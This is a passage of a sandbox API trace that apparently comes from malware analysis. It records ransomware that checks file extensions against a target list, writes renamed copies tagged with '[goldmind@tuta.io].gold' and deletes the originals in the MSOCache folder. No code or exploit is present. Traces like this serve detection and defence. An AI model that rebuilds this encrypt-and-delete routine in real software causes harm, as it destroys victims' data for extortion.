[0034.812] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.812] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0034.812] lstrlenW (lpString=".dbf") returned 4 [0034.812] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.812] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0034.812] lstrlenW (lpString=".1cd") returned 4 [0034.812] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.812] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0034.812] lstrlenW (lpString=".jpg") returned 4 [0034.812] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.812] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0034.812] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0034.812] lstrlenW (lpString=".doc") returned 4 [0034.812] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.812] lstrlenW (lpString=".docx") returned 5 [0034.812] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0034.812] lstrlenW (lpString=".pdf") returned 4 [0034.812] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.812] lstrlenW (lpString=".xls") returned 4 [0034.812] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.812] lstrlenW (lpString=".xlsx") returned 5 [0034.812] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0034.812] lstrlenW (lpString=".ppt") returned 4 [0034.812] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.812] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0034.812] lstrlenW (lpString=".zip") returned 4 [0034.812] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.812] lstrlenW (lpString=".rar") returned 4 [0034.812] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.812] lstrlenW (lpString=".bz2") returned 4 [0034.812] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.812] lstrlenW (lpString=".7z") returned 3 [0034.812] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.812] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0034.812] lstrlenW (lpString=".dbf") returned 4 [0034.812] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.812] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0034.813] lstrlenW (lpString=".1cd") returned 4 [0034.813] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.813] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0034.813] lstrlenW (lpString=".jpg") returned 4 [0034.813] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.813] lstrcmpiW (lpString1=".xml", lpString2=".gold") returned 1 [0034.813] lstrlenW (lpString="InfoPathMUI.xml") returned 15 [0034.813] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0034.813] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=1231) returned 1 [0034.813] CloseHandle (hObject=0x188) returned 1 [0034.813] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml")) returned 0x2020 [0034.814] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0034.814] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0034.814] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.814] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.814] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0034.814] GetLastError () returned 0x0 [0034.814] ReadFile (in: hFile=0x188, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x4cf, lpOverlapped=0x0) returned 1 [0034.831] WriteFile (in: hFile=0x180, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x4d0, lpOverlapped=0x0) returned 1 [0034.832] ReadFile (in: hFile=0x188, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0034.832] WriteFile (in: hFile=0x180, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0034.832] SetEndOfFile (hFile=0x180) returned 1 [0034.832] CloseHandle (hObject=0x180) returned 1 [0034.833] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.833] SetEndOfFile (hFile=0x188) returned 1 [0034.833] CloseHandle (hObject=0x188) returned 1 [0034.833] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0034.833] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml")) returned 1 [0034.834] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0034.834] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0034.834] lstrlenW (lpString=".doc") returned 4 [0034.834] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.834] lstrlenW (lpString=".docx") returned 5 [0034.834] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0034.834] lstrlenW (lpString=".pdf") returned 4 [0034.834] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.834] lstrlenW (lpString=".xls") returned 4 [0034.834] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.834] lstrlenW (lpString=".xlsx") returned 5 [0034.834] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0034.834] lstrlenW (lpString=".ppt") returned 4 [0034.834] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.834] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0034.834] lstrlenW (lpString=".zip") returned 4 [0034.834] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.834] lstrlenW (lpString=".rar") returned 4 [0034.834] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.834] lstrlenW (lpString=".bz2") returned 4 [0034.834] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.834] lstrlenW (lpString=".7z") returned 3 [0034.834] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.834] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0034.834] lstrlenW (lpString=".dbf") returned 4 [0034.834] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.834] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0034.834] lstrlenW (lpString=".1cd") returned 4 [0034.834] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.834] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0034.834] lstrlenW (lpString=".jpg") returned 4 [0034.834] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.834] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0034.834] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0034.834] lstrlenW (lpString=".doc") returned 4 [0034.834] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.835] lstrlenW (lpString=".docx") returned 5 [0034.835] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0034.835] lstrlenW (lpString=".pdf") returned 4 [0034.835] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.835] lstrlenW (lpString=".xls") returned 4 [0034.835] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.835] lstrlenW (lpString=".xlsx") returned 5 [0034.835] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0034.835] lstrlenW (lpString=".ppt") returned 4 [0034.835] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.835] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0034.835] lstrlenW (lpString=".zip") returned 4 [0034.835] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.835] lstrlenW (lpString=".rar") returned 4 [0034.835] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.835] lstrlenW (lpString=".bz2") returned 4 [0034.835] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.835] lstrlenW (lpString=".7z") returned 3 [0034.835] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.835] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0034.835] lstrlenW (lpString=".dbf") returned 4 [0034.835] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.835] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0034.835] lstrlenW (lpString=".1cd") returned 4 [0034.835] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.835] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0034.835] lstrlenW (lpString=".jpg") returned 4 [0034.835] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.835] lstrcmpiW (lpString1=".xml", lpString2=".gold") returned 1 [0034.835] lstrlenW (lpString="OneNoteMUI.xml") returned 14 [0034.835] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0034.836] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=1606) returned 1 [0034.836] CloseHandle (hObject=0x188) returned 1 [0034.836] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml")) returned 0x2020 [0034.836] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0034.836] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0034.836] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.836] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.836] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0034.836] GetLastError () returned 0x0 [0034.837] ReadFile (in: hFile=0x188, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x646, lpOverlapped=0x0) returned 1 [0034.876] WriteFile (in: hFile=0x180, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x650, lpOverlapped=0x0) returned 1 [0034.898] ReadFile (in: hFile=0x188, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0034.898] WriteFile (in: hFile=0x180, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0034.898] SetEndOfFile (hFile=0x180) returned 1 [0034.898] CloseHandle (hObject=0x180) returned 1 [0034.899] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.899] SetEndOfFile (hFile=0x188) returned 1 [0034.900] CloseHandle (hObject=0x188) returned 1 [0034.900] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0034.900] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml")) returned 1 [0034.900] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0034.900] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0034.900] lstrlenW (lpString=".doc") returned 4 [0034.900] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.900] lstrlenW (lpString=".docx") returned 5 [0034.900] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0034.900] lstrlenW (lpString=".pdf") returned 4 [0034.900] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.900] lstrlenW (lpString=".xls") returned 4 [0034.900] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.900] lstrlenW (lpString=".xlsx") returned 5 [0034.901] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0034.901] lstrlenW (lpString=".ppt") returned 4 [0034.901] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.901] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0034.901] lstrlenW (lpString=".zip") returned 4 [0034.901] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.901] lstrlenW (lpString=".rar") returned 4 [0034.901] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.901] lstrlenW (lpString=".bz2") returned 4 [0034.901] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.901] lstrlenW (lpString=".7z") returned 3 [0034.901] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.901] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0034.901] lstrlenW (lpString=".dbf") returned 4 [0034.901] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.901] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0034.901] lstrlenW (lpString=".1cd") returned 4 [0034.901] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.901] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0034.901] lstrlenW (lpString=".jpg") returned 4 [0034.901] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.901] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0034.901] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0034.901] lstrlenW (lpString=".doc") returned 4 [0034.901] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.901] lstrlenW (lpString=".docx") returned 5 [0034.901] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0034.901] lstrlenW (lpString=".pdf") returned 4 [0034.901] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.901] lstrlenW (lpString=".xls") returned 4 [0034.901] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.901] lstrlenW (lpString=".xlsx") returned 5 [0034.901] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0034.901] lstrlenW (lpString=".ppt") returned 4 [0034.901] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.901] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0034.901] lstrlenW (lpString=".zip") returned 4 [0034.901] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.901] lstrlenW (lpString=".rar") returned 4 [0034.901] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.901] lstrlenW (lpString=".bz2") returned 4 [0034.901] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.901] lstrlenW (lpString=".7z") returned 3 [0034.901] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.901] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0034.901] lstrlenW (lpString=".dbf") returned 4 [0034.901] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.901] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0034.901] lstrlenW (lpString=".1cd") returned 4 [0034.901] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.901] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0034.901] lstrlenW (lpString=".jpg") returned 4 [0034.901] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.902] lstrcmpiW (lpString1=".xml", lpString2=".gold") returned 1 [0034.902] lstrlenW (lpString="Setup.xml") returned 9 [0034.902] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0035.155] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=1452) returned 1 [0035.155] CloseHandle (hObject=0x178) returned 1 [0035.155] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0035.155] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0035.156] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0035.156] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.156] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.156] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0035.156] GetLastError () returned 0x0 [0035.156] ReadFile (in: hFile=0x178, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x5ac, lpOverlapped=0x0) returned 1 [0035.157] WriteFile (in: hFile=0x194, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0035.158] ReadFile (in: hFile=0x178, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0035.158] WriteFile (in: hFile=0x194, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0035.158] SetEndOfFile (hFile=0x194) returned 1 [0035.158] CloseHandle (hObject=0x194) returned 1 [0035.159] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.159] SetEndOfFile (hFile=0x178) returned 1 [0035.160] CloseHandle (hObject=0x178) returned 1 [0035.160] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0035.160] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0035.160] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.160] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.160] lstrlenW (lpString=".doc") returned 4 [0035.160] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.160] lstrlenW (lpString=".docx") returned 5 [0035.160] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0035.160] lstrlenW (lpString=".pdf") returned 4 [0035.160] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.160] lstrlenW (lpString=".xls") returned 4 [0035.160] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.160] lstrlenW (lpString=".xlsx") returned 5 [0035.160] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0035.160] lstrlenW (lpString=".ppt") returned 4 [0035.160] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.160] lstrlenW (lpString="C:\\MSOCache\\All 